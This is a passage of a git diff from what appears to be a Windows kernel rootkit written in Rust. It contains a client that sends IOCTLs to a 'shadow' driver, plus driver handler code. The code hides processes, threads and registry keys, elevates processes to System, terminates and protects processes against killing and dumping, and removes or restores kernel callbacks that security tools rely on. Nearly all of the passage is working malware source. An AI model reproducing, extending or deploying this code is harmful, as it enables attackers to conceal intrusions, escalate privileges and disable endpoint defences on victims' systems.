null_mut(),
)
};
if status == 0 {
error!(
"DeviceIoControl Failed With Status: 0x{:08X}",
unsafe { GetLastError() }
);
} else {
info!("Process with PID {} successfully protected", pid);
}
}
debug!("Closing the driver handle");
unsafe {
CloseHandle(h_file);
}
}
pub fn elevate_process(pid: Option<&u32>, ioctl_code: u32) {
debug!("Attempting to open the driver for elevation operation");
let h_file = open_driver().expect("Failed to open driver");
if let Some(pid_value) = pid {
debug!("Preparing structure for pid: {}", pid_value);
let mut return_buffer = 0;
let pid = *pid_value as usize;
let mut target_process = TargetProcess { pid };
debug!("Sending DeviceIoControl command to elevate process");
let status = unsafe {
DeviceIoControl(
h_file,
ioctl_code,
&mut target_process as *mut _ as *mut c_void,
size_of::<TargetProcess>() as u32,
null_mut(),
0,
&mut return_buffer,
null_mut(),
)
};
if status == 0 {
error!(
"DeviceIoControl Failed With Status: 0x{:08X}",
unsafe { GetLastError() }
);
} else {
info!("Process with PID {} elevated to System", pid);
}
} else {
error!("PID not supplied");
}
debug!("Closing the driver handle");
unsafe {
CloseHandle(h_file);
}
}

View File

@@ -0,0 +1,89 @@
use {
log::*,
crate::utils::open_driver,
shared::structs::TargetRegistry,
std::{ffi::c_void, ptr::null_mut},
windows_sys::Win32::{
Foundation::{CloseHandle, GetLastError},
System::IO::DeviceIoControl,
},
};
pub fn registry_protection(ioctl_code: u32, value: &String, key: &String, enable: bool) {
info!("Attempting to open the registry for protection operation");
let h_file = open_driver().expect("Failed to open driver");
debug!("Preparing structure for Key: {} | Value: {} | Protection: {}", key, value, if enable { "hide" } else { "unhide" });
let mut info_registry = TargetRegistry {
enable,
value: value.to_string(),
key: key.to_string(),
};
debug!("Sending DeviceIoControl command to {} protection for key: {} | value: {}", if enable { "enable" } else { "disable" }, key, value);
let mut return_buffer = 0;
let status = unsafe {
DeviceIoControl(
h_file,
ioctl_code,
&mut info_registry as *mut _ as *mut c_void,
std::mem::size_of::<TargetRegistry>() as u32,
null_mut(),
0,
&mut return_buffer,
null_mut(),
)
};
if status == 0 {
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
} else {
info!("Registry protection {} for Key: {} and Value: {} succeeded", if enable { "enabled" } else { "disabled" }, key, value);
}
debug!("Closing the driver handle");
unsafe {
CloseHandle(h_file);
}
}
pub fn registry_hide_unhide(ioctl_code: u32, value: &String, key: &String, enable: bool) {
info!("Attempting to open the registry for hide/unhide operation");
let h_file = open_driver().expect("Failed to open driver");
debug!("Preparing structure for Key: {} | Value: {} | Operation: {}", key, value, if enable { "hide" } else { "unhide" });
let mut info_registry = TargetRegistry {
enable,
key: key.to_string(),
value: value.to_string(),
..Default::default()
};
debug!("Sending DeviceIoControl command to {} registry for Key: {} | Value: {}", if enable { "hide" } else { "unhide" }, key, value);
let mut return_buffer = 0;
let status = unsafe {
DeviceIoControl(
h_file,
ioctl_code,
&mut info_registry as *mut _ as *mut c_void,
std::mem::size_of::<TargetRegistry>() as u32,
null_mut(),
0,
&mut return_buffer,
null_mut(),
)
};
if status == 0 {
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
} else {
info!("Registry with Key: {} and Value: {} successfully {}hidden", key, value, if enable { "" } else { "un" });
}
debug!("Closing the driver handle");
unsafe {
CloseHandle(h_file);
}
}

View File

@@ -0,0 +1,133 @@
use {
log::*,
crate::{cli::Options, utils::open_driver},
std::{ffi::c_void, mem::size_of, ptr::null_mut},
shared::{
structs::{EnumerateInfoInput, TargetThread, ThreadListInfo},
vars::MAX_TIDS,
},
windows_sys::Win32::{
Foundation::CloseHandle,
System::IO::DeviceIoControl,
},
};
pub fn hide_unhide_thread(tid: Option<&u32>, ioctl_code: u32, enable: bool) {
debug!("Attempting to open the driver for hide/unhide operation");
let h_file = open_driver().expect("Failed to open driver");
if let Some(tid_value) = tid {
debug!("Preparing structure for TID: {}", tid_value);
let mut return_buffer = 0;
let tid = *tid_value as usize;
let mut target_thread = TargetThread { tid, enable };
debug!("Sending DeviceIoControl command to {} thread", if enable { "hide" } else { "unhide" });
let status = unsafe {
DeviceIoControl(
h_file,
ioctl_code,
&mut target_thread as *mut _ as *mut c_void,
size_of::<TargetThread>() as u32,
null_mut(),
0,
&mut return_buffer,
null_mut(),
)
};
if status == 0 {
error!("DeviceIoControl Failed with status: 0x{:08X}", status);
} else {
info!("Thread with TID {} successfully {}hidden", tid, if enable { "" } else { "un" });
}
} else {
error!("TID not supplied");
}
debug!("Closing the driver handle");
unsafe {
CloseHandle(h_file);
};
}
#[cfg(not(feature = "mapper"))]
pub fn protection_thread(tid: Option<&u32>, ioctl_code: u32, enable: bool) {
debug!("Attempting to open the driver for thread protection operation");
let h_file = open_driver().expect("Failed to open driver");
if let Some(tid_value) = tid {
debug!("Preparing structure for TID: {}", tid_value);
let mut return_buffer = 0;
let tid = *tid_value as usize;
let mut target_thread = shared::structs::ThreadProtection { tid, enable };
debug!("Sending DeviceIoControl command to {} thread protection", if enable { "enable" } else { "disable" });
let status = unsafe {
DeviceIoControl(
h_file,
ioctl_code,
&mut target_thread as *mut _ as *mut c_void,
size_of::<shared::structs::ThreadProtection>() as u32,
null_mut(),
0,
&mut return_buffer,
null_mut(),
)
};
if status == 0 {
error!("DeviceIoControl Failed with status: 0x{:08X}", status);
} else {
info!("Thread TID {} with anti-kill and dumping functions {}", tid, if enable { "enabled" } else { "disabled" });
}
} else {
error!("TID not supplied");
}
debug!("Closing the driver handle");
unsafe {
CloseHandle(h_file);
};
}
pub fn enumerate_thread(ioctl_code: u32, option: &Options) {
debug!("Attempting to open the driver for thread enumeration");
let h_file = open_driver().expect("Failed to open driver");
let mut info_thread: [ThreadListInfo; MAX_TIDS] = unsafe { std::mem::zeroed() };
let mut enumeration_input = EnumerateInfoInput {
options: option.to_shared(),
};
let mut return_buffer = 0;
debug!("Sending DeviceIoControl command to enumerate threads");
let status = unsafe {
DeviceIoControl(
h_file,
ioctl_code,
&mut enumeration_input as *mut _ as *mut c_void,
size_of::<EnumerateInfoInput>() as u32,
info_thread.as_mut_ptr() as *mut _,
(info_thread.len() * size_of::<ThreadListInfo>()) as u32,
&mut return_buffer,
null_mut(),
)
};
if status == 0 {
error!("DeviceIoControl Failed with status: 0x{:08X}", status);
} else {
let total_threads = return_buffer as usize / size_of::<ThreadListInfo>();
info!("Total Threads: {}", total_threads);
for i in 0..total_threads {
if info_thread[i].tids > 0 {
info!("[{}] {}", i, info_thread[i].tids);
}
}
}
debug!("Closing the driver handle");
unsafe {
CloseHandle(h_file);
};
}

View File

@@ -1,256 +0,0 @@
use {
crate::{
cli::{Options, PS_PROTECTED_SIGNER, PS_PROTECTED_TYPE},
driver::open_driver
},
shared::{
structs::{
EnumerateInfoInput, ProcessListInfo, TargetProcess,
ProcessInfoHide, ProcessSignature,
},
vars::MAX_PIDS
},
std::{ffi::c_void, mem::size_of, ptr::null_mut},
windows_sys::Win32::{Foundation::CloseHandle, System::IO::DeviceIoControl}
};
pub fn hide_unhide_process(pid: Option<&u32>, ioctl_code: u32, enable: bool) {
let h_file = open_driver().expect("Failed to open driver");
let status;
if let Some(pid_value) = pid {
let mut return_buffer = 0;
let pid = *pid_value as usize;
let mut target_process = ProcessInfoHide::default();
target_process.enable = if enable {
true
} else {
false
};
target_process.pid = pid;
status = unsafe {
DeviceIoControl(
h_file,
ioctl_code,
&mut target_process as *mut _ as *mut c_void,
std::mem::size_of::<ProcessInfoHide>() as u32,
null_mut(),
0,
&mut return_buffer,
null_mut()
)
};
if status == 0 {
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
} else {
if enable {
println!("[+] Process with PID {pid} successfully hidden");
} else {
println!("[+] Process with PID {pid} successfully unhidden");
}
}
} else {
println!("[-] PID not supplied");
}
unsafe {
CloseHandle(h_file);
};
}
pub fn terminate_process(pid: Option<&u32>, ioctl_code: u32) {
let h_file = open_driver().expect("Failed to open driver");
let status;
if let Some(pid_value) = pid {
let mut return_buffer = 0;
let pid = *pid_value as usize;
let mut target_process = TargetProcess {
pid,
};
status = unsafe {
DeviceIoControl(
h_file,
ioctl_code,
&mut target_process as *mut _ as *mut c_void,
std::mem::size_of::<TargetProcess>() as u32,
null_mut(),
0,
&mut return_buffer,
null_mut()
)
};
if status == 0 {
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
} else {
println!("[+] Process with PID {pid} terminated successfully");
}
} else {
println!("[-] PID not supplied");
}
unsafe {
CloseHandle(h_file);
};
}
#[cfg(not(feature = "mapper"))]
pub fn protection_process(pid: Option<&u32>, ioctl_code: u32, enable: bool) {
let h_file = open_driver().expect("Failed to open driver");
let status;
if let Some(pid_value) = pid {
let mut return_buffer = 0;
let pid = *pid_value as usize;
let mut target_process = shared::structs::ProcessProtection {
pid,
enable
};
status = unsafe {
DeviceIoControl(
h_file,
ioctl_code,
&mut target_process as *mut _ as *mut c_void,
std::mem::size_of::<shared::structs::ProcessProtection>() as u32,
null_mut(),
0,
&mut return_buffer,
null_mut()
)
};
if status == 0 {
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
} else {
println!("[+] Process PID {pid} with anti-kill and dumping functions enabled");
}
} else {
println!("[-] PID not supplied");
}
unsafe {
CloseHandle(h_file);
};
}
pub fn enumerate_process(ioctl_code: u32, option: &Options) {
let h_file = open_driver().expect("Failed to open driver");
let mut info_process: [ProcessListInfo; MAX_PIDS] = unsafe { std::mem::zeroed() };
let mut enumeration_input = EnumerateInfoInput {
options: option.to_shared()
};
let mut return_buffer = 0;
let status = unsafe {
DeviceIoControl(
h_file,
ioctl_code,
&mut enumeration_input as *mut _ as *mut c_void,
size_of::<EnumerateInfoInput>() as u32,
info_process.as_mut_ptr() as *mut _,
(info_process.len() * size_of::<ProcessListInfo>()) as u32,
&mut return_buffer,
null_mut()
)
};
if status == 0 {
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
} else {
let total_process = return_buffer as usize / size_of::<ProcessListInfo>();
println!("[+] Total Processes: {}", total_process);
for i in 0..total_process {
if info_process[i].pids > 0 {
println!("[{}] {}", i, info_process[i].pids);
}
}
}
unsafe {
CloseHandle(h_file);
};
}
pub fn signature_process(pid: Option<&u32>, ioctl_code: u32, sg: &PS_PROTECTED_SIGNER, tp: &PS_PROTECTED_TYPE) {
let h_file = open_driver().expect("Failed to open driver");
let status;
if let Some(pid_value) = pid {
let mut return_buffer = 0;
let sg = *sg as usize;
let tp = *tp as usize;
let pid = *pid_value as usize;
let mut info_protection_process = ProcessSignature {
pid,
sg,
tp,
};
status = unsafe {
DeviceIoControl(
h_file,
ioctl_code,
&mut info_protection_process as *mut _ as *mut c_void,
std::mem::size_of::<ProcessSignature>() as u32,
null_mut(),
0,
&mut return_buffer,
null_mut()
)
};
if status == 0 {
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
} else {
println!("[+] Process with PID {pid} successfully protected");
}
}
unsafe {
CloseHandle(h_file);
};
}
pub fn elevate_process(pid: Option<&u32>, ioctl_code: u32) {
let h_file = open_driver().expect("Failed to open driver");
let status;
if let Some(pid_value) = pid {
let mut return_buffer = 0;
let pid = *pid_value as usize;
let mut target_process = TargetProcess {
pid,
};
status = unsafe {
DeviceIoControl(
h_file,
ioctl_code,
&mut target_process as *mut _ as *mut c_void,
std::mem::size_of::<TargetProcess>() as u32,
null_mut(),
0,
&mut return_buffer,
null_mut()
)
};
if status == 0 {
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
} else {
println!("[+] Process with PID {pid} elevated to System")
}
} else {
println!("[-] PID not supplied");
}
unsafe {
CloseHandle(h_file);
};
}

View File

@@ -1,71 +0,0 @@
use {
crate::driver::open_driver,
std::{ffi::c_void, ptr::null_mut},
shared::structs::TargetRegistry,
windows_sys::Win32::{Foundation::CloseHandle, System::IO::DeviceIoControl},
};
pub fn registry_protection(ioctl_code: u32, value: &String, key: &String, enable: bool) {
let h_file = open_driver().expect("Failed to open driver");
let mut info_registry = TargetRegistry {
enable,
value: value.to_string(),
key: key.to_string()
};
let mut return_buffer = 0;
let status = unsafe {
DeviceIoControl(
h_file,
ioctl_code,
&mut info_registry as *mut _ as *mut c_void,
std::mem::size_of::<TargetRegistry>() as u32,
null_mut(),
0,
&mut return_buffer,
null_mut()
)
};
if status == 0 {
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
} else {
println!("[+] Registry protection succeeded!");
}
unsafe {
CloseHandle(h_file);
};
}
pub fn registry_hide(ioctl_code: u32, value: &String, key: &String, enable: bool) {
let h_file = open_driver().expect("Failed to open driver");
let mut info_registry = TargetRegistry {
enable,
key: key.to_string(),
value: value.to_string(),
..Default::default()
};
let mut return_buffer = 0;
let status = unsafe {
DeviceIoControl(
h_file,
ioctl_code,
&mut info_registry as *mut _ as *mut c_void,
std::mem::size_of::<TargetRegistry>() as u32,
null_mut(),
0,
&mut return_buffer,
null_mut()
)
};
if status == 0 {
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
} else {
println!("[+] Registry hide succeeded!");
}
unsafe {
CloseHandle(h_file);
};
}

View File

@@ -1,132 +0,0 @@
use {
crate::{cli::Options, driver::open_driver},
std::{ffi::c_void, mem::size_of, ptr::null_mut},
shared::{structs::{EnumerateInfoInput, TargetThread, ThreadListInfo}, vars::MAX_TIDS},
windows_sys::Win32::{Foundation::CloseHandle, System::IO::DeviceIoControl},
};
pub fn hide_unhide_thread(tid: Option<&u32>, ioctl_code: u32, enable: bool) {
let h_file = open_driver().expect("Failed to open driver");
let status;
if let Some(tid_value) = tid {
let mut return_buffer = 0;
let tid = *tid_value as usize;
let mut target_thread = TargetThread {
tid,
enable
};
status = unsafe {
DeviceIoControl(
h_file,
ioctl_code,
&mut target_thread as *mut _ as *mut c_void,
std::mem::size_of::<TargetThread>() as u32,
null_mut(),
0,
&mut return_buffer,
null_mut()
)
};
if status == 0 {
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
} else {
if enable {
println!("[+] Process with TID {tid} successfully hidden");
} else {
println!("[+] Process with TID {tid} successfully unhidden");
}
}
} else {
println!("[-] TID not supplied");
}
unsafe {
CloseHandle(h_file);
};
}
#[cfg(not(feature = "mapper"))]
pub fn protection_thread(tid: Option<&u32>, ioctl_code: u32, enable: bool) {
let h_file = open_driver().expect("Failed to open driver");
let status;
if let Some(tid_value) = tid {
let mut return_buffer = 0;
let tid = *tid_value as usize;
let mut target_process = shared::structs::ThreadProtection {
tid,
enable
};
status = unsafe {
DeviceIoControl(
h_file,
ioctl_code,
&mut target_process as *mut _ as *mut c_void,
std::mem::size_of::<shared::structs::ThreadProtection>() as u32,
null_mut(),
0,
&mut return_buffer,
null_mut()
)
};
if status == 0 {
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
} else {
if enable {
println!("[+] Thread TID {tid} with anti-kill and dumping functions enabled");
} else {
println!("[+] Thread TID {tid} with anti-kill and dumping functions disabled");
}
}
} else {
println!("[-] TID not supplied");
}
unsafe {
CloseHandle(h_file);
};
}
pub fn enumerate_thread(ioctl_code: u32, option: &Options) {
let h_file = open_driver().expect("Failed to open driver");
let mut info_thread: [ThreadListInfo; MAX_TIDS] = unsafe { std::mem::zeroed() };
let mut enumeration_input = EnumerateInfoInput {
options: option.to_shared()
};
let mut return_buffer = 0;
let status = unsafe {
DeviceIoControl(
h_file,
ioctl_code,
&mut enumeration_input as *mut _ as *mut c_void,
size_of::<EnumerateInfoInput>() as u32,
info_thread.as_mut_ptr() as *mut _,
(info_thread.len() * size_of::<ThreadListInfo>()) as u32,
&mut return_buffer,
null_mut()
)
};
if status == 0 {
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
} else {
let total_process = return_buffer as usize / size_of::<ThreadListInfo>();
println!("[+] Total Threads: {}", total_process);
for i in 0..total_process {
if info_thread[i].tids > 0 {
println!("[{}] {}", i, info_thread[i].tids);
}
}
}
unsafe {
CloseHandle(h_file);
};
}

View File

@@ -1,7 +1,36 @@
use std::path::Path; use std::{path::Path, ptr::null_mut};
use windows_sys::{
w,
Win32::{
Foundation::{GetLastError, GENERIC_READ, GENERIC_WRITE, HANDLE, INVALID_HANDLE_VALUE},
Storage::FileSystem::{CreateFileW, FILE_ATTRIBUTE_NORMAL, OPEN_EXISTING}
}
};
pub fn check_file(file: &String) -> bool { pub fn check_file(file: &String) -> bool {
let file = Path::new(file); let file = Path::new(file);
file.exists() file.exists()
} }
pub fn open_driver() -> Result<HANDLE, ()> {
log::info!("Opening driver handle");
let h_file = unsafe {
CreateFileW(
w!("\\\\.\\shadow"),
GENERIC_READ | GENERIC_WRITE,
0,
null_mut(),
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0
)
};
if h_file == INVALID_HANDLE_VALUE {
log::error!("CreateFileW failed with error: {:?}", unsafe { GetLastError() });
return Err(());
}
log::info!("Driver handle successfully opened");
Ok(h_file)
}

View File

@@ -0,0 +1,7 @@
[package]
name = "shadowx"
version = "0.1.0"
edition = "2021"
[dependencies]
wdk-sys = "0.2.0"

View File

@@ -0,0 +1,3 @@
fn main() {
println!("Hello, world!");
}

View File

@@ -1,35 +1,50 @@
use { use {
alloc::boxed::Box, alloc::boxed::Box,
hashbrown::HashMap, hashbrown::HashMap,
crate::{handle_callback, utils::ioctls::IoctlHandler},
wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS},
shared::{ shared::{
ioctls::{IOCTL_ENUMERATE_CALLBACK, IOCTL_ENUMERATE_REMOVED_CALLBACK, IOCTL_REMOVE_CALLBACK, IOCTL_RESTORE_CALLBACK}, ioctls::{
IOCTL_ENUMERATE_CALLBACK, IOCTL_ENUMERATE_REMOVED_CALLBACK,
IOCTL_REMOVE_CALLBACK, IOCTL_RESTORE_CALLBACK
},
structs::{CallbackInfoInput, CallbackInfoOutput} structs::{CallbackInfoInput, CallbackInfoOutput}
}, },
wdk_sys::{IO_STACK_LOCATION, IRP},
crate::{handle_callback, utils::ioctls::IoctlHandler},
}; };
pub fn get_callback_ioctls(ioctls: &mut HashMap<u32, IoctlHandler> ) { pub fn get_callback_ioctls(ioctls: &mut HashMap<u32, IoctlHandler> ) {
// Lists callbacks. // Lists Callbacks.
ioctls.insert(IOCTL_ENUMERATE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { ioctls.insert(IOCTL_ENUMERATE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_ENUMERATE_CALLBACK"); log::info!("Received IOCTL_ENUMERATE_CALLBACK");
let mut information = 0; let mut information = 0;
let status = unsafe { handle_callback!(irp, stack, CallbackInfoInput, CallbackInfoOutput, &mut information, IOCTL_ENUMERATE_CALLBACK) }; let status = unsafe { handle_callback!(irp, stack, CallbackInfoInput, CallbackInfoOutput, &mut information, IOCTL_ENUMERATE_CALLBACK) };
unsafe { (*irp).IoStatus.Information = information as u64 }; unsafe { (*irp).IoStatus.Information = information as u64 };
status
match status {
Ok(_) => STATUS_SUCCESS,
Err(err_code) => err_code
}
}) as IoctlHandler); }) as IoctlHandler);
// ? // List Callbacks Removed.
ioctls.insert(IOCTL_ENUMERATE_REMOVED_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { ioctls.insert(IOCTL_ENUMERATE_REMOVED_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_ENUMERATE_REMOVED_CALLBACK"); log::info!("Received IOCTL_ENUMERATE_REMOVED_CALLBACK");
let mut information = 0; let mut information = 0;
let status = unsafe { handle_callback!(irp, stack, CallbackInfoInput, CallbackInfoOutput, &mut information, IOCTL_ENUMERATE_REMOVED_CALLBACK) }; let status = unsafe { handle_callback!(irp, stack, CallbackInfoInput, CallbackInfoOutput, &mut information, IOCTL_ENUMERATE_REMOVED_CALLBACK) };
unsafe { (*irp).IoStatus.Information = information as u64 }; unsafe { (*irp).IoStatus.Information = information as u64 };
status
match status {
Ok(_) => STATUS_SUCCESS,
Err(err_code) => err_code
}
}) as IoctlHandler); }) as IoctlHandler);
// Remove a callback. // Remove Callback.
ioctls.insert(IOCTL_REMOVE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { ioctls.insert(IOCTL_REMOVE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_REMOVE_CALLBACK"); log::info!("Received IOCTL_REMOVE_CALLBACK");
let status = unsafe { handle_callback!(stack, CallbackInfoInput, IOCTL_REMOVE_CALLBACK) }; let status = unsafe { handle_callback!(stack, CallbackInfoInput, IOCTL_REMOVE_CALLBACK) };
@@ -37,7 +52,7 @@ pub fn get_callback_ioctls(ioctls: &mut HashMap<u32, IoctlHandler> ) {
status status
}) as IoctlHandler); }) as IoctlHandler);
// ? // Restore Callback.
ioctls.insert(IOCTL_RESTORE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { ioctls.insert(IOCTL_RESTORE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_RESTORE_CALLBACK"); log::info!("Received IOCTL_RESTORE_CALLBACK");
let status = unsafe { handle_callback!(stack, CallbackInfoInput, IOCTL_RESTORE_CALLBACK) }; let status = unsafe { handle_callback!(stack, CallbackInfoInput, IOCTL_RESTORE_CALLBACK) };

View File

@@ -59,7 +59,7 @@ pub trait CallbackList {
/// # Returns /// # Returns
/// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise. /// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise.
/// ///
unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS; unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS>;
/// List of callbacks currently removed. /// List of callbacks currently removed.
/// ///
@@ -71,7 +71,7 @@ pub trait CallbackList {
/// # Returns /// # Returns
/// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise. /// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise.
/// ///
unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS; unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS>;
} }
/// Structure representing the Callback. /// Structure representing the Callback.
@@ -126,17 +126,13 @@ impl CallbackList for Callback {
STATUS_SUCCESS STATUS_SUCCESS
} }
unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS { unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS> {
let address = match find_callback_address(&(*target_callback).callback) { let address = match find_callback_address(&(*target_callback).callback) {
Some(CallbackResult::PsCreate(addr)) => addr, Some(CallbackResult::PsCreate(addr)) => addr,
_ => return STATUS_UNSUCCESSFUL, _ => return Err(STATUS_UNSUCCESSFUL),
};
let (mut ldr_data, module_count) = match return_module() {
Some(result) => result,
None => return STATUS_UNSUCCESSFUL
}; };
let (mut ldr_data, module_count) = return_module().ok_or(STATUS_UNSUCCESSFUL)?;
let start_entry = ldr_data; let start_entry = ldr_data;
for i in 0..64 { for i in 0..64 {
@@ -182,17 +178,13 @@ impl CallbackList for Callback {
ldr_data = start_entry; ldr_data = start_entry;
} }
STATUS_SUCCESS Ok(())
} }
unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS { unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS> {
let callback_restaure = INFO_CALLBACK_RESTAURE.lock(); let callback_restaure = INFO_CALLBACK_RESTAURE.lock();
let (mut ldr_data, module_count) = match return_module() { let (mut ldr_data, module_count) = return_module().ok_or(STATUS_UNSUCCESSFUL)?;
Some(result) => result,
None => return STATUS_UNSUCCESSFUL
};
let start_entry = ldr_data; let start_entry = ldr_data;
for (i, callback) in callback_restaure.iter().enumerate() { for (i, callback) in callback_restaure.iter().enumerate() {
@@ -230,7 +222,7 @@ impl CallbackList for Callback {
ldr_data = start_entry; ldr_data = start_entry;
} }
STATUS_SUCCESS Ok(())
} }
} }
@@ -277,6 +269,7 @@ impl CallbackList for CallbackRegistry {
log::error!("Callback not found for type {:?} at index {}", callback_type, index); log::error!("Callback not found for type {:?} at index {}", callback_type, index);
return STATUS_UNSUCCESSFUL; return STATUS_UNSUCCESSFUL;
} }
STATUS_SUCCESS STATUS_SUCCESS
} }
@@ -329,18 +322,15 @@ impl CallbackList for CallbackRegistry {
STATUS_UNSUCCESSFUL STATUS_UNSUCCESSFUL
} }
unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS { unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS> {
let (callback_list_header, callback_count, callback_list_lock) = match find_callback_address(&(*target_callback).callback) { let (callback_list_header, callback_count, callback_list_lock) = match find_callback_address(&(*target_callback).callback) {
Some(CallbackResult::Registry(addr)) => addr, Some(CallbackResult::Registry(addr)) => addr,
_ => return STATUS_UNSUCCESSFUL, _ => return Err(STATUS_UNSUCCESSFUL),
}; };
let count = *(callback_count as *mut u32) + 1; let count = *(callback_count as *mut u32) + 1;
let mut pcm_callback = callback_list_header as *mut CM_CALLBACK; let mut pcm_callback = callback_list_header as *mut CM_CALLBACK;
let (mut ldr_data, module_count) = match return_module() { let (mut ldr_data, module_count) = return_module().ok_or(STATUS_UNSUCCESSFUL)?;
Some(result) => result,
None => return STATUS_UNSUCCESSFUL
};
let start_entry = ldr_data; let start_entry = ldr_data;
ExAcquirePushLockExclusiveEx(callback_list_lock as _, 0); ExAcquirePushLockExclusiveEx(callback_list_lock as _, 0);
@@ -388,16 +378,13 @@ impl CallbackList for CallbackRegistry {
ExReleasePushLockExclusiveEx(callback_list_lock as _, 0); ExReleasePushLockExclusiveEx(callback_list_lock as _, 0);
STATUS_SUCCESS Ok(())
} }
unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS { unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS> {
let callback_restaure = INFO_CALLBACK_RESTAURE_REGISTRY.lock(); let callback_restaure = INFO_CALLBACK_RESTAURE_REGISTRY.lock();
let (mut ldr_data, module_count) = match return_module() { let (mut ldr_data, module_count) = return_module().ok_or(STATUS_UNSUCCESSFUL)?;
Some(result) => result,
None => return STATUS_UNSUCCESSFUL
};
let start_entry = ldr_data; let start_entry = ldr_data;
@@ -434,7 +421,7 @@ impl CallbackList for CallbackRegistry {
ldr_data = start_entry; ldr_data = start_entry;
} }
STATUS_SUCCESS Ok(())
} }
} }
@@ -534,10 +521,10 @@ impl CallbackList for CallbackOb {
STATUS_UNSUCCESSFUL STATUS_UNSUCCESSFUL
} }
unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS { unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS> {
let object_type = match find_callback_address(&(*target_callback).callback) { let object_type = match find_callback_address(&(*target_callback).callback) {
Some(CallbackResult::ObRegister(addr)) => addr, Some(CallbackResult::ObRegister(addr)) => addr,
_ => return STATUS_UNSUCCESSFUL, _ => return Err(STATUS_UNSUCCESSFUL),
}; };
let current = &mut ((*object_type).callback_list) as *mut _ as *mut OBCALLBACK_ENTRY; let current = &mut ((*object_type).callback_list) as *mut _ as *mut OBCALLBACK_ENTRY;
@@ -559,11 +546,7 @@ impl CallbackList for CallbackOb {
next = (*next).callback_list.Flink as *mut OBCALLBACK_ENTRY; next = (*next).callback_list.Flink as *mut OBCALLBACK_ENTRY;
} }
let (mut ldr_data, module_count) = match return_module() { let (mut ldr_data, module_count) = return_module().ok_or(STATUS_UNSUCCESSFUL)?;
Some(result) => result,
None => return STATUS_UNSUCCESSFUL
};
let start_entry = ldr_data; let start_entry = ldr_data;
let mut current_index = 0; let mut current_index = 0;
@@ -612,17 +595,13 @@ impl CallbackList for CallbackOb {
ldr_data = start_entry; ldr_data = start_entry;
} }
STATUS_SUCCESS Ok(())
} }
unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS { unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS> {
let callback_restaure = INFO_CALLBACK_RESTAURE_OB.lock(); let callback_restaure = INFO_CALLBACK_RESTAURE_OB.lock();
let (mut ldr_data, module_count) = match return_module() { let (mut ldr_data, module_count) = return_module().ok_or(STATUS_UNSUCCESSFUL)?;
